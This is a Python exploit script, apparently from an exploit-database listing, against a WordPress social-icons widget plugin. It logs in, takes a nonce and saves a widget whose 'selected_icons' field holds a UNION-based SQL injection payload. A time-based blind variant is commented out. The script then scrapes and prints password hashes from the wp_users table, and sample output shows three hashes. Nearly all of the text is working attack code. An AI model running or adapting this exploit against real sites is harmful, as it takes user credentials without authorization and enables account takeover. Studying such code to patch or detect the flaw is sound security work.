Share
## https://sploitus.com/exploit?id=WPEX-ID:A6C1676D-9DCB-45F6-833A-9545BCCD0AD6
# Author : Qerogram

import requests
from bs4 import BeautifulSoup

BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"

def login(id, pw) :
    # Phase : Login (because, we need a nonce value)
    sess = requests.Session()
    sess.post(
        BASE_URL + "/wp-login.php",
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
            'testcookie': '1'
        }
    ).text
    
    return sess

def exploit(sess) : 
    # Phase 1 : get Nonce
    res = sess.get(BASE_URL + "/wp-admin/widgets.php").text
    _nonce = res[res.find('_wpnonce_widgets" value="') + 25:]
    _nonce = _nonce[:_nonce.find('"')]

    title = 2
    
    # We can SQLi mode!
    # Time-based Blind SQLi
    # payload = "1) || sleep(1)#" 

    # Union Based SQLi
    # This case is a expose third column. We must concat "fa fa-". 
    # Because, this function have a img check logic. 
    # We append a "fa fa-" to bypass a check logic .
    payload = f'1) UNION SELECT 1,{title},concat("fa fa-",user_pass),3,4,5,6 from wp_users%23' 
    payload = payload.replace(" ", "+")
    
    number_id = res[res.find('multi_number" value="') + 21:]
    number_id = int(number_id[:number_id.find('"')]) 

    # Phase 2 : Make a Widget
    # SQL Query => SELECT * FROM wp_cn_social_icon WHERE image_url<>'' AND url<>'' AND `id` IN({payload}) ORDER BY sortorder
    # We can escape Parenthesis. Then, trigger SQLi.
    widget_payload = f"widget-cnss_widget%5B{number_id}%5D%5Btitle%5D=Follow+Usf1" 
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bwidth%5D=32" 
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bheight%5D=32" 
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Balignment%5D=center"
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bdisplay%5D=horizontal"
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bmargin%5D=4"
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bselected_icons%5D%5B%5D={payload}"
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Battr_id%5D=" 
    widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Battr_class%5D=" 
    widget_payload += f"&widget-id=cnss_widget-{number_id}" 
    widget_payload += f"&id_base=cnss_widget" 
    widget_payload += f"&widget-width=250"
    widget_payload += f"&widget-height=200"
    widget_payload += f"&widget_number={number_id - 1}"
    widget_payload += f"&multi_number={number_id}"
    widget_payload += f"&add_new=multi"
    widget_payload += f"&action=save-widget"
    widget_payload += f"&savewidgets={_nonce}"
    widget_payload += f"&sidebar=right-sidebar"

    # Make a Widget
    res = sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        headers = {
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
            "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8"
        },
        data = widget_payload,
        proxies = {"http" :"http://localhost:8080"}
    )

    # setup : widget on the Sidebar
    res = sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        data = f"action=widgets-order&savewidgets={_nonce}&sidebars%5Bwp_inactive_widgets%5D=&sidebars%5Bright-sidebar%5D=widget-24_block-2%2Cwidget-25_block-3%2Cwidget-26_block-4%2Cwidget-27_block-5%2Cwidget-28_block-6%2Cwidget-1_cnss_widget-{number_id}&sidebars%5Bfooter-sidebar-one%5D=&sidebars%5Bfooter-sidebar-two%5D=&sidebars%5Bfooter-sidebar-three%5D=",
        headers = {
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
            "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8"
        },
        proxies = {"http" :"http://localhost:8080"}
    )

    res = sess.get(
        BASE_URL
    )
    
    bs = BeautifulSoup(res.text, "lxml")
    for item in bs.find_all("li", {"class": f"cn-fa-{title}"}) :
        print(item.a['href'].replace("fa fa-", ""))
    
    '''
    [RESULT]
    $P$BohO2pBSHdTTXiCf7/I5ZjYkaTtqNQ1
    $P$Bwoef3ORLrOFtqXxZs/pN7uQ6YoP5Z/
    $P$B8dtGlBiT38lv2iJ7mSuwv5/hI/mz.0
    '''

sess = login(id, pw)
exploit(sess)